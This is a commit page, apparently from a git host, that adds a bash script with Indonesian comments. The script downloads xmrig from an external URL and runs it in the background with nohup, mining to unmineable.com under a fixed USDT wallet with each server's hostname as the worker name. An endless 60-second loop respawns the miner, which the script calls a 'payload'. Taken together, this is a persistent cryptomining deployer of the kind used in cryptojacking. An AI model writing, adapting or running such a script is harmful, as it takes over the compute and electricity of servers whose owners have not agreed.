Add farm/rig/rigsh
This commit is contained in:
parent
6ed49c8791
commit
af91bdf3e4
91
farm/rig/rigsh
Normal file
91
farm/rig/rigsh
Normal file
@ -0,0 +1,91 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# URL untuk mengunduh xmrig.tar.gz
|
||||||
|
PAYLOAD_URL="https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz"
|
||||||
|
|
||||||
|
# Direktori kerja saat ini
|
||||||
|
CURRENT_DIR=$(pwd)
|
||||||
|
XMRIG_PATH="$CURRENT_DIR/xmrig"
|
||||||
|
SCRIPT_PATH="$CURRENT_DIR/run_xmrig.sh"
|
||||||
|
|
||||||
|
# Fungsi untuk mengunduh dan mengekstrak payload
|
||||||
|
download_and_extract_payload() {
|
||||||
|
TAR_FILE="$CURRENT_DIR/xmrig.tar.gz"
|
||||||
|
|
||||||
|
if command -v wget >/dev/null 2>&1; then
|
||||||
|
echo "[*] wget tersedia. Mengunduh xmrig.tar.gz..."
|
||||||
|
wget "$PAYLOAD_URL" -O "$TAR_FILE"
|
||||||
|
elif command -v curl >/dev/null 2>&1; then
|
||||||
|
echo "[*] curl tersedia. Mengunduh xmrig.tar.gz..."
|
||||||
|
curl -o "$TAR_FILE" "$PAYLOAD_URL"
|
||||||
|
else
|
||||||
|
echo "[!] Tidak ada wget atau curl tersedia untuk mengunduh xmrig.tar.gz."
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "[*] Mengekstrak xmrig.tar.gz..."
|
||||||
|
tar -xzf "$TAR_FILE" -C "$CURRENT_DIR"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fungsi untuk membuat file run_xmrig.sh
|
||||||
|
create_run_script() {
|
||||||
|
cat <<EOL > "$SCRIPT_PATH"
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# Mendapatkan hostname server
|
||||||
|
HOSTNAME=\$(hostname)
|
||||||
|
|
||||||
|
# Menjalankan xmrig dengan parameter yang diberikan
|
||||||
|
nohup ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 \
|
||||||
|
-u USDT:TTrVsRnBzjB5xEQ57NTVYJinjpnne8oGXN."\${HOSTNAME}" -p x > xmrig.log 2>&1 &
|
||||||
|
|
||||||
|
# Menampilkan pesan sukses
|
||||||
|
echo "xmrig berjalan di latar belakang dengan nama worker: \${HOSTNAME}. Log output disimpan di xmrig.log"
|
||||||
|
EOL
|
||||||
|
chmod +x "$SCRIPT_PATH"
|
||||||
|
echo "[*] File run_xmrig.sh berhasil dibuat."
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fungsi untuk menjalankan xmrig
|
||||||
|
run_command() {
|
||||||
|
if [[ ! -f "$XMRIG_PATH" || ! -f "$SCRIPT_PATH" ]]; then
|
||||||
|
echo "[*] Payload atau skrip tidak ditemukan. Mengunduh dan menyiapkan xmrig..."
|
||||||
|
download_and_extract_payload
|
||||||
|
create_run_script
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ ! -f "$SCRIPT_PATH" ]]; then
|
||||||
|
echo "[*] File run_xmrig.sh tidak ditemukan. Membuat ulang..."
|
||||||
|
create_run_script
|
||||||
|
fi
|
||||||
|
|
||||||
|
bash "$SCRIPT_PATH"
|
||||||
|
EXIT_CODE=$?
|
||||||
|
|
||||||
|
echo "Command executed: bash $SCRIPT_PATH"
|
||||||
|
echo "Exit code: $EXIT_CODE"
|
||||||
|
|
||||||
|
if [[ "$EXIT_CODE" -ne 0 ]]; then
|
||||||
|
echo "[*] Exit code non-zero detected ($EXIT_CODE). Checking active session..."
|
||||||
|
|
||||||
|
if pgrep -f "./xmrig" >/dev/null 2>&1; then
|
||||||
|
echo "[*] Active session detected. Skipping payload execution."
|
||||||
|
else
|
||||||
|
echo "[*] No active session detected. Spawning payload..."
|
||||||
|
nohup bash "$SCRIPT_PATH" > /dev/null 2>&1 &
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo "[*] Exit code zero. XMRig is running successfully."
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fungsi untuk memastikan skrip berjalan terus menerus
|
||||||
|
run_persistently() {
|
||||||
|
while true; do
|
||||||
|
run_command
|
||||||
|
sleep 60
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
# Mulai menjalankan perintah secara terus menerus
|
||||||
|
run_persistently
|
Loading…
Reference in New Issue
Block a user